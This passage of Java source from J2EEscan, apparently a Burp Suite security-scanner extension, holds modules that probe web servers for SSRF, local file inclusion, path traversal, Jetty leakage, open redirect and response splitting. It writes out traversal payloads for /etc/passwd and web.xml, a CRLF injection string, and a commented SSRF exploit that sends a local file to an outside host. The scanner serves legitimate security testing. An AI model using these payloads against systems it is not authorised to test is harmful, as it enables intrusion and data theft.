| return issues; 115 | 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/JavascriptSSRF.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.IBurpCollaboratorClientContext; 4 | import burp.IBurpCollaboratorInteraction; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.Risk; 14 | import burp.j2ee.issues.IModule; 15 | 16 | import java.io.PrintWriter; 17 | import java.util.ArrayList; 18 | import java.util.List; 19 | 20 | /** 21 | * 22 | * ReactJS SSRF Scanner 23 | * 24 | * References: 25 | * - http://10degres.net/aws-takeover-ssrf-javascript/ 26 | * 27 | * 28 | */ 29 | public class JavascriptSSRF implements IModule { 30 | 31 | private static final String TITLE = "ReactJS SSRF Scanner"; 32 | private static final String DESCRIPTION = "J2EEscan identified a potential SSRF vulnerability"; 33 | 34 | private static final String SSRF_REMEDY = "Execute a code review activity to mitigate the SSRF vulnerability
" 35 | + "References:

" 36 | + "http://10degres.net/aws-takeover-ssrf-javascript/
" 37 | + "https://reactjs.org/docs/faq-ajax.html
" 38 | + "https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API"; 39 | 40 | private PrintWriter stderr; 41 | 42 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 43 | 44 | IExtensionHelpers helpers = callbacks.getHelpers(); 45 | List issues = new ArrayList<>(); 46 | 47 | stderr = new PrintWriter(callbacks.getStderr(), true); 48 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 49 | 50 | // weaponized exploit fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r)); 51 | String payload = "fetch('https://%s')"; 52 | 53 | // Collaborator context 54 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); 55 | 56 | // New collaborator unique URI generated ( example f2ivf62a9k7w14h8o8cg7x10prvhj6.burpcollaborator.net ) 57 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true); 58 | String payloadReactSSRF = String.format(payload, currentCollaboratorPayload); 59 | 60 | // make a request containing our injection test in the insertion point 61 | byte[] checkRequest = insertionPoint.buildRequest(payloadReactSSRF.getBytes()); 62 | 63 | 64 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 65 | baseRequestResponse.getHttpService(), checkRequest); 66 | byte[] response = checkRequestResponse.getResponse(); 67 | 68 | // Poll Burp Collaborator for remote interaction 69 | List collaboratorInteractions 70 | = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload); 71 | 72 | if (!collaboratorInteractions.isEmpty()) { 73 | 74 | issues.add(new CustomScanIssue( 75 | baseRequestResponse.getHttpService(), 76 | reqInfo.getUrl(), 77 | checkRequestResponse, 78 | TITLE, 79 | DESCRIPTION, 80 | SSRF_REMEDY, 81 | Risk.High, 82 | Confidence.Certain 83 | )); 84 | } 85 | 86 | return issues; 87 | 88 | } 89 | 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/JettyRemoteLeakage.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.HTTPMatcher; 4 | import static burp.HTTPMatcher.getMatches; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.IssuesHandler; 14 | import burp.j2ee.Risk; 15 | import burp.j2ee.issues.IModule; 16 | 17 | import java.io.PrintWriter; 18 | import java.net.URL; 19 | import java.util.ArrayList; 20 | import java.util.List; 21 | 22 | /** 23 | * 24 | * Detection of the Jetty Remote Leak Shared Buffers research of GDS Security 25 | * 26 | * References: 27 | * 28 | * http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html 29 | * https://github.com/GDSSecurity/Jetleak-Testing-Script 30 | * https://twitter.com/gdssecurity 31 | * 32 | */ 33 | public class JettyRemoteLeakage implements IModule { 34 | 35 | private static final String TITLE = "Jetty Remote Leak Shared Buffers"; 36 | private static final String DESCRIPTION = "J2EEScan identified a vulnerable Jetty instance; " 37 | + "remote unauthenticated users are able to read arbitrary data from other HTTP sessions

" 38 | + "References:
" 39 | + "http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
" 40 | + "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2080"; 41 | 42 | private static final String REMEDY = "Update the Jetty component with the last stable release"; 43 | private static final byte[] INJ_TEST = {(byte) 0}; 44 | private static final byte[] GREP_STRING = "400 Illegal character 0x0 in state".getBytes(); 45 | 46 | private PrintWriter stderr; 47 | 48 | 49 | @Override 50 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 51 | 52 | List issues = new ArrayList<>(); 53 | IExtensionHelpers helpers = callbacks.getHelpers(); 54 | 55 | stderr = new PrintWriter(callbacks.getStderr(), true); 56 | 57 | IHttpRequestResponse jettyResponse; 58 | 59 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 60 | 61 | URL url = reqInfo.getUrl(); 62 | String host = url.getHost(); 63 | String protocol = url.getProtocol(); 64 | 65 | // Execute the test only if Burpsuite detected a Jetty Servlet container 66 | // to limitate unnecessary HTTP requests 67 | if (IssuesHandler.isvulnerabilityFound(callbacks, 68 | "Information Disclosure - Jetty", 69 | protocol, 70 | host)) { 71 | return issues; 72 | } 73 | 74 | if (!"Referer".equals(insertionPoint.getInsertionPointName())) { 75 | return issues; 76 | } 77 | 78 | // make a request containing null byte to trigger the HTTP response code 400 79 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST); 80 | 81 | jettyResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest); 82 | 83 | try { 84 | byte[] response = jettyResponse.getResponse(); 85 | 86 | if (response != null) { 87 | 88 | List matches = getMatches(response, GREP_STRING, helpers); 89 | if (matches.size() > 0) { 90 | issues.add(new CustomScanIssue( 91 | baseRequestResponse.getHttpService(), 92 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 93 | jettyResponse, 94 | TITLE, 95 | DESCRIPTION, 96 | REMEDY, 97 | Risk.High, 98 | Confidence.Certain 99 | )); 100 | } 101 | } 102 | 103 | } catch (Exception ex) { 104 | stderr.println(ex); 105 | } 106 | 107 | return issues; 108 | 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/LFIAbsoluteModule.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | 4 | import burp.HTTPMatcher; 5 | import static burp.HTTPMatcher.getMatches; 6 | import burp.IBurpExtenderCallbacks; 7 | import burp.IExtensionHelpers; 8 | import burp.IHttpRequestResponse; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.Risk; 14 | import burp.j2ee.issues.IModule; 15 | 16 | import java.io.PrintWriter; 17 | import java.util.ArrayList; 18 | import java.util.Arrays; 19 | import java.util.List; 20 | 21 | 22 | /** 23 | * Further checks for local file include vulnerabilities 24 | * 25 | */ 26 | public class LFIAbsoluteModule implements IModule{ 27 | 28 | private static final String TITLE = "Local File Include"; 29 | private static final String DESCRIPTION = "J2EEscan identified a local file include vulnerability. " 30 | + "It was possible to retrieve configuration files from the remote system." 31 | + "

" 32 | + "References:

" 33 | + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169
" 34 | + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0202
" 35 | + "https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
"; 36 | 37 | private static final String REMEDY = "Execute a code review activity to mitigate the LFI vulnerability
" 38 | + "References:

" 39 | + "http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/file_disclosure_spring_webflow.html
" 40 | + "https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
" 41 | + "http://cwe.mitre.org/data/definitions/22.html
" 42 | + "https://www.securecoding.cert.org/confluence/display/cplusplus/FIO02-CPP.+Canonicalize+path+names+originating+from+untrusted+sources
" 43 | + "https://www.securecoding.cert.org/confluence/display/java/FIO16-J.+Canonicalize+path+names+before+validating+them"; 44 | 45 | 46 | private PrintWriter stderr; 47 | 48 | // the ".../....///" sequences, can bypas the blacklist patterns that removes 49 | // "../" and "./" chars 50 | private static final List LFI_INJECTION_TESTS = Arrays.asList( 51 | ".../....///.../....///.../....///.../....///.../....///.../....///etc/passwd".getBytes(), 52 | ".../...//.../...//.../...//.../...//.../...//.../...//.../...//.../...//etc/passwd".getBytes(), 53 | "../../../../../../../../../../../../../../../../etc/passwd%00.html".getBytes(), 54 | "file:///c:/windows/win.ini".getBytes(), 55 | "file:///etc/passwd".getBytes(), 56 | "file://\\/\\/etc/passwd".getBytes(), 57 | "%2fetc%2fpasswd".getBytes(), 58 | "../../../../../../../../../../../../../../../../windows/win.ini".getBytes(), 59 | "../../../../../../../../../../../../../../../../windows/win.ini%00.html".getBytes() 60 | ); 61 | 62 | 63 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 64 | 65 | IExtensionHelpers helpers = callbacks.getHelpers(); 66 | List issues = new ArrayList<>(); 67 | 68 | stderr = new PrintWriter(callbacks.getStderr(), true); 69 | 70 | 71 | for (byte[] injTest : LFI_INJECTION_TESTS) { 72 | 73 | // make a request containing our injection test in the insertion point 74 | byte[] checkRequest = insertionPoint.buildRequest(injTest); 75 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 76 | baseRequestResponse.getHttpService(), checkRequest); 77 | 78 | try { 79 | 80 | // look for matches of our active check grep string 81 | byte[] response = checkRequestResponse.getResponse(); 82 | 83 | if (HTTPMatcher.isEtcPasswdFile(response, helpers) || 84 | HTTPMatcher.isWinIni(response, helpers)) { 85 | 86 | issues.add(new CustomScanIssue( 87 | baseRequestResponse.getHttpService(), 88 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 89 | checkRequestResponse, 90 | TITLE, 91 | DESCRIPTION, 92 | REMEDY, 93 | Risk.High, 94 | Confidence.Certain 95 | )); 96 | 97 | return issues; 98 | } 99 | 100 | } catch (Exception ex){ 101 | stderr.println(ex); 102 | } 103 | } 104 | 105 | return issues; 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/LFIModule.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | 4 | import burp.HTTPMatcher; 5 | import static burp.HTTPMatcher.getMatches; 6 | import burp.IBurpExtenderCallbacks; 7 | import burp.IExtensionHelpers; 8 | import burp.IHttpRequestResponse; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.J2EELFIRetriever; 12 | import static burp.J2EELocalAssessment.analyzeWEBXML; 13 | import burp.j2ee.Confidence; 14 | import burp.j2ee.CustomScanIssue; 15 | import burp.j2ee.Risk; 16 | import burp.j2ee.issues.IModule; 17 | 18 | import java.io.PrintWriter; 19 | import java.util.ArrayList; 20 | import java.util.Arrays; 21 | import java.util.List; 22 | 23 | 24 | /** 25 | * 26 | * Sometimes in J2EE environments absolute LFI attempts fails, because 27 | * the issue is limited to the web application context. 28 | * 29 | * The module tries to retrieve the web.xml file of the remote J2EE application 30 | */ 31 | public class LFIModule implements IModule{ 32 | 33 | private static final String TITLE = "Local File include - web.xml retrieved"; 34 | private static final String DESCRIPTION = "J2EEscan identified a local file include vulnerability. " 35 | + "It was possible to retrieve the web file descriptor of the remote web application.

" 36 | + "This vulnerability could be used to disclose any file under the web app root (example: Java classes " 37 | + "and source code, J2EE jar libraries, properties files with sensitive credentials)." 38 | + "
"; 39 | 40 | private static final String LFI_REMEDY = "Execute a code review activity to mitigate the LFI vulnerability
" 41 | + "References:

" 42 | + "http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/file_disclosure_spring_webflow.html
" 43 | + "https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
" 44 | + "http://cwe.mitre.org/data/definitions/22.html
" 45 | + "https://www.securecoding.cert.org/confluence/display/cplusplus/FIO02-CPP.+Canonicalize+path+names+originating+from+untrusted+sources
" 46 | + "https://www.securecoding.cert.org/confluence/display/java/FIO16-J.+Canonicalize+path+names+before+validating+them"; 47 | 48 | private PrintWriter stderr; 49 | private static final byte[] GREP_STRING = " LFI_INJECTION_TESTS = Arrays.asList( 51 | "../../../../WEB-INF/web.xml".getBytes(), 52 | "../../../WEB-INF/web.xml".getBytes(), 53 | "../../WEB-INF/web.xml".getBytes(), 54 | "../WEB-INF/web.xml".getBytes(), 55 | "%c0%ae/WEB-INF/web.xml".getBytes(), 56 | "%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(), 57 | "%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(), 58 | "%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(), 59 | // Spring Webflow payloads 60 | "../../../WEB-INF/web.xml;x=".getBytes(), 61 | "../../WEB-INF/web.xml;x=".getBytes(), 62 | "../WEB-INF/web.xml;x=".getBytes(), 63 | "WEB-INF/web.xml".getBytes(), 64 | ".//WEB-INF/web.xml".getBytes() 65 | ); 66 | 67 | 68 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 69 | 70 | IExtensionHelpers helpers = callbacks.getHelpers(); 71 | List issues = new ArrayList<>(); 72 | 73 | stderr = new PrintWriter(callbacks.getStderr(), true); 74 | 75 | for (byte[] INJ_TEST : LFI_INJECTION_TESTS) { 76 | 77 | // make a request containing our injection test in the insertion point 78 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST); 79 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 80 | baseRequestResponse.getHttpService(), checkRequest); 81 | 82 | try { 83 | 84 | // look for matches 85 | byte[] response = checkRequestResponse.getResponse(); 86 | List matches = getMatches(response, GREP_STRING, helpers); 87 | if (matches.size() > 0) { 88 | 89 | issues.add(new CustomScanIssue( 90 | baseRequestResponse.getHttpService(), 91 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 92 | checkRequestResponse, 93 | TITLE, 94 | DESCRIPTION + " " + HTTPMatcher.getServletsDescription(helpers.bytesToString(response)), 95 | LFI_REMEDY, 96 | Risk.High, 97 | Confidence.Certain 98 | )); 99 | 100 | // Security Audit web.xml 101 | analyzeWEBXML(response, callbacks, checkRequestResponse); 102 | 103 | // Try to retrieve more configuration files using this threat 104 | J2EELFIRetriever.download(callbacks, 105 | checkRequestResponse, 106 | checkRequest, 107 | "web.xml"); 108 | 109 | 110 | return issues; 111 | } 112 | 113 | } catch (Exception ex){ 114 | stderr.println(ex); 115 | } 116 | } 117 | 118 | return issues; 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import burp.HTTPMatcher; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.IssuesHandler; 14 | import burp.j2ee.Risk; 15 | import burp.j2ee.issues.IModule; 16 | import java.io.PrintWriter; 17 | import java.net.MalformedURLException; 18 | import java.net.URL; 19 | import java.util.ArrayList; 20 | import java.util.List; 21 | 22 | /** 23 | * 24 | * Test for Next.js framework Path Traversal 25 | * 26 | * Reference: 27 | * http://blog.safebreach.com/2016/02/09/http-response-splitting-in-node-js-root-cause-analysis/ 28 | * http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf 29 | * CVE-2018-6184 30 | * 31 | */ 32 | public class NextFrameworkPathTraversal implements IModule { 33 | 34 | private static final String TITLE = "Next Javascript Framework Path Traversal"; 35 | private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation" 36 | + " of Next.js which is a framework for server-rendered React applications.
" 37 | + "The remote installation is vulnerable to path traversal.

" 38 | + "References:

" 39 | + "https://github.com/zeit/next.js/commit/02fe7cf63f6265d73bdaf8bc50a4f2fb539dcd00
" 40 | + "https://raz0r.name/vulnerabilities/arbitrary-file-reading-in-next-js-2-4-1/"; 41 | 42 | private static final String REMEDY = "Update the software with the last security patches"; 43 | 44 | private static final String NEXT_TRAVERSAL = "/_next/../../../../../../../../../etc/passwd"; 45 | 46 | private PrintWriter stderr; 47 | 48 | @Override 49 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 50 | 51 | List issues = new ArrayList<>(); 52 | 53 | stderr = new PrintWriter(callbacks.getStderr(), true); 54 | 55 | IExtensionHelpers helpers = callbacks.getHelpers(); 56 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 57 | 58 | URL url = reqInfo.getUrl(); 59 | String host = url.getHost(); 60 | String protocol = url.getProtocol(); 61 | Boolean isSSL = (protocol.equals("https")); 62 | 63 | if (!IssuesHandler.isvulnerabilityFound(callbacks, 64 | "Next Javascript Framework detected", 65 | protocol, 66 | host)) { 67 | return issues; 68 | 69 | } 70 | 71 | try { 72 | 73 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), NEXT_TRAVERSAL); 74 | byte[] utf8LFIAttempt = helpers.buildHttpRequest(urlToTest); 75 | 76 | byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(), 77 | url.getPort(), isSSL, utf8LFIAttempt); 78 | 79 | if (HTTPMatcher.isEtcPasswdFile(responseBytes, helpers)) { 80 | issues.add(new CustomScanIssue( 81 | baseRequestResponse.getHttpService(), 82 | urlToTest, 83 | new CustomHttpRequestResponse(utf8LFIAttempt, responseBytes, baseRequestResponse.getHttpService()), 84 | TITLE, 85 | DESCRIPTION, 86 | REMEDY, 87 | Risk.Low, 88 | Confidence.Certain 89 | )); 90 | return issues; 91 | } 92 | 93 | } catch (MalformedURLException ex) { 94 | stderr.println(ex); 95 | } catch (Exception ex) { 96 | stderr.println(ex); 97 | } 98 | 99 | return issues; 100 | 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/NodeJSPathTraversal.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import static burp.HTTPMatcher.isEtcPasswdFile; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.Risk; 14 | import burp.j2ee.issues.IModule; 15 | 16 | import java.io.PrintWriter; 17 | import java.net.MalformedURLException; 18 | import java.net.URL; 19 | import java.util.ArrayList; 20 | import java.util.LinkedHashSet; 21 | import java.util.List; 22 | 23 | /** 24 | * 25 | * Test for NodeJS Path Traversal 26 | * 27 | * Reference: 28 | * https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/ 29 | * 30 | * CVE-2017-14849 31 | * 32 | */ 33 | public class NodeJSPathTraversal implements IModule { 34 | 35 | // List of host and port system already tested 36 | private static LinkedHashSet hs = new LinkedHashSet(); 37 | 38 | private static final String TITLE = "NodeJS Path Traversal"; 39 | private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation" 40 | + " of NodeJS. Node.js version 8.5.0 included a change which caused a security vulnerability " 41 | + "in the checks on paths made by some community modules. As a result, an attacker may be able " 42 | + "to access file system paths other than those intended.

" 43 | + "References:

" 44 | + "https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
" 45 | + "https://security.tencent.com/index.php/blog/msg/121"; 46 | 47 | private static final String REMEDY = "Update the software with the last security patches"; 48 | private static final String NODEJS_TRAVERSAL = "../../../j/../../../../etc/passwd"; 49 | 50 | private PrintWriter stderr; 51 | 52 | @Override 53 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 54 | 55 | List issues = new ArrayList<>(); 56 | 57 | IExtensionHelpers helpers = callbacks.getHelpers(); 58 | stderr = new PrintWriter(callbacks.getStderr(), true); 59 | 60 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 61 | 62 | URL currentUrl = reqInfo.getUrl(); 63 | String host = currentUrl.getHost(); 64 | int port = currentUrl.getPort(); 65 | 66 | String system = host.concat(Integer.toString(port)); 67 | 68 | String protocol = currentUrl.getProtocol(); 69 | Boolean isSSL = (protocol.equals("https")); 70 | 71 | // skip if the NodeJS has not been found on the system 72 | // if (!IssuesHandler.isvulnerabilityFound(callbacks, 73 | // "NodeJS detected", 74 | // protocol, 75 | // host)) { 76 | // return issues; 77 | // 78 | // } 79 | 80 | String currentPath = currentUrl.getFile(); 81 | 82 | URL urlToTest; 83 | 84 | try { 85 | 86 | if (currentPath.endsWith(".js")) { 87 | 88 | String fileName = currentPath.substring(currentPath.lastIndexOf('/') + 1, currentPath.length()); 89 | urlToTest = new URL(protocol, currentUrl.getHost(), currentUrl.getPort(), currentPath.replace(fileName, NODEJS_TRAVERSAL)); 90 | byte[] nodejstest = helpers.buildHttpRequest(urlToTest); 91 | 92 | byte[] response = callbacks.makeHttpRequest(currentUrl.getHost(), 93 | currentUrl.getPort(), isSSL, nodejstest); 94 | 95 | if (isEtcPasswdFile(response, helpers)) { 96 | 97 | callbacks.addScanIssue(new CustomScanIssue( 98 | baseRequestResponse.getHttpService(), 99 | urlToTest, 100 | new CustomHttpRequestResponse(nodejstest, response, baseRequestResponse.getHttpService()), 101 | TITLE, 102 | DESCRIPTION, 103 | REMEDY, 104 | Risk.Medium, 105 | Confidence.Certain 106 | )); 107 | 108 | } 109 | 110 | } 111 | 112 | } catch (MalformedURLException ex) { 113 | stderr.print("Exception while creating url " + ex); 114 | } 115 | 116 | return issues; 117 | 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/NodeJSRedirect.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import burp.HTTPParser; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IResponseInfo; 10 | import burp.IScanIssue; 11 | import burp.IScannerInsertionPoint; 12 | import burp.j2ee.Confidence; 13 | import burp.j2ee.CustomScanIssue; 14 | import burp.j2ee.IssuesHandler; 15 | import burp.j2ee.Risk; 16 | import burp.j2ee.issues.IModule; 17 | import java.io.PrintWriter; 18 | import java.net.MalformedURLException; 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.LinkedHashSet; 22 | import java.util.List; 23 | 24 | /** 25 | * 26 | * Test for NodeJS Server HTTP redirect 27 | * 28 | * Reference: https://nodesecurity.io/advisories/serve-static-open-redirect 29 | * 30 | * Example: 31 | * 32 | * http://example.com//www.example.com/%2e%2e 33 | * 34 | * the server replies with a 303 to: 35 | * Location: //www.example.com/%2e%2e 36 | * 37 | * This issue could afflict some browser (ex: firefox). 38 | * Google Chrome is not vulnerable 39 | * 40 | * 41 | * 42 | */ 43 | public class NodeJSRedirect implements IModule { 44 | 45 | // List of host and port system already tested 46 | private static LinkedHashSet hs = new LinkedHashSet(); 47 | 48 | private static final String TITLE = "NodeJS Open Redirect"; 49 | private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation" 50 | + " of NodeJS. In some circumstances the open redirect vulnerability could be used " 51 | + " in phishing attacks to get users to visit malicious sites without realizing it.

" 52 | + "References:

" 53 | + "https://nodesecurity.io/advisories/serve-static-open-redirect
" 54 | + "https://cwe.mitre.org/data/definitions/601.html"; 55 | 56 | private static final String REMEDY = "Update the software with the last security patches"; 57 | 58 | private static final String NODEJS_PATH = "///www.example.com/%2e%2e"; 59 | 60 | private PrintWriter stderr; 61 | 62 | @Override 63 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 64 | 65 | List issues = new ArrayList<>(); 66 | 67 | IExtensionHelpers helpers = callbacks.getHelpers(); 68 | stderr = new PrintWriter(callbacks.getStderr(), true); 69 | 70 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 71 | 72 | URL url = reqInfo.getUrl(); 73 | String host = url.getHost(); 74 | int port = url.getPort(); 75 | 76 | String system = host.concat(Integer.toString(port)); 77 | 78 | // System not yet tested for this vulnerability 79 | if (!hs.contains(system)) { 80 | 81 | hs.add(system); 82 | 83 | String protocol = url.getProtocol(); 84 | Boolean isSSL = (protocol.equals("https")); 85 | 86 | // skip if the NodeJS has not been found on the system 87 | if (!IssuesHandler.isvulnerabilityFound(callbacks, 88 | "NodeJS detected", 89 | protocol, 90 | host)) { 91 | return issues; 92 | 93 | } 94 | 95 | URL urlToTest; 96 | 97 | try { 98 | 99 | urlToTest = new URL(protocol, url.getHost(), url.getPort(), NODEJS_PATH); 100 | 101 | byte[] nodejstest = helpers.buildHttpRequest(urlToTest); 102 | 103 | byte[] response = callbacks.makeHttpRequest(url.getHost(), 104 | url.getPort(), isSSL, nodejstest); 105 | 106 | IResponseInfo nodejsInfo = helpers.analyzeResponse(response); 107 | 108 | if (nodejsInfo.getStatusCode() == 301 109 | || nodejsInfo.getStatusCode() == 302 110 | || nodejsInfo.getStatusCode() == 303) { 111 | 112 | String locationHeader = HTTPParser.getResponseHeaderValue(nodejsInfo, "Location"); 113 | 114 | if (locationHeader != null && locationHeader.startsWith("/www.example.com")) { 115 | 116 | callbacks.addScanIssue(new CustomScanIssue( 117 | baseRequestResponse.getHttpService(), 118 | urlToTest, 119 | new CustomHttpRequestResponse(nodejstest, response, baseRequestResponse.getHttpService()), 120 | TITLE, 121 | DESCRIPTION, 122 | REMEDY, 123 | Risk.Medium, 124 | Confidence.Certain 125 | )); 126 | 127 | } 128 | 129 | } 130 | 131 | } catch (MalformedURLException ex) { 132 | stderr.print("Exception while creating url " + ex); 133 | } 134 | 135 | } 136 | 137 | return issues; 138 | 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/NodeJSResponseSplitting.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPParser.getResponseHeaderValue; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IRequestInfo; 8 | import burp.IResponseInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.IssuesHandler; 14 | import burp.j2ee.Risk; 15 | import burp.j2ee.issues.IModule; 16 | import java.io.PrintWriter; 17 | import java.net.URL; 18 | import java.util.ArrayList; 19 | import java.util.LinkedHashSet; 20 | import java.util.List; 21 | 22 | /** 23 | * 24 | * Test for NodeJS Response Splitting 25 | * 26 | * Reference: 27 | * https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/ 28 | * http://blog.safebreach.com/2016/02/09/http-response-splitting-in-node-js-root-cause-analysis/ 29 | * http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf 30 | * 31 | */ 32 | public class NodeJSResponseSplitting implements IModule { 33 | 34 | private static final String TITLE = "NodeJS Response Splitting"; 35 | private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation" 36 | + " of NodeJS. A Response Splitting vulnerability has been found.

" 37 | + "References:

" 38 | + "http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf
" 39 | + "https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/"; 40 | 41 | private static final String REMEDY = "Update the software with the last security patches"; 42 | 43 | private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes(); 44 | 45 | private PrintWriter stderr; 46 | 47 | @Override 48 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 49 | 50 | List issues = new ArrayList<>(); 51 | 52 | IExtensionHelpers helpers = callbacks.getHelpers(); 53 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 54 | 55 | URL url = reqInfo.getUrl(); 56 | String host = url.getHost(); 57 | 58 | String protocol = url.getProtocol(); 59 | 60 | // skip if the NodeJS has not been found on the system 61 | if (!IssuesHandler.isvulnerabilityFound(callbacks, 62 | "NodeJS detected", 63 | protocol, 64 | host)) { 65 | return issues; 66 | 67 | } 68 | 69 | // make a request containing our injection test in the insertion point 70 | 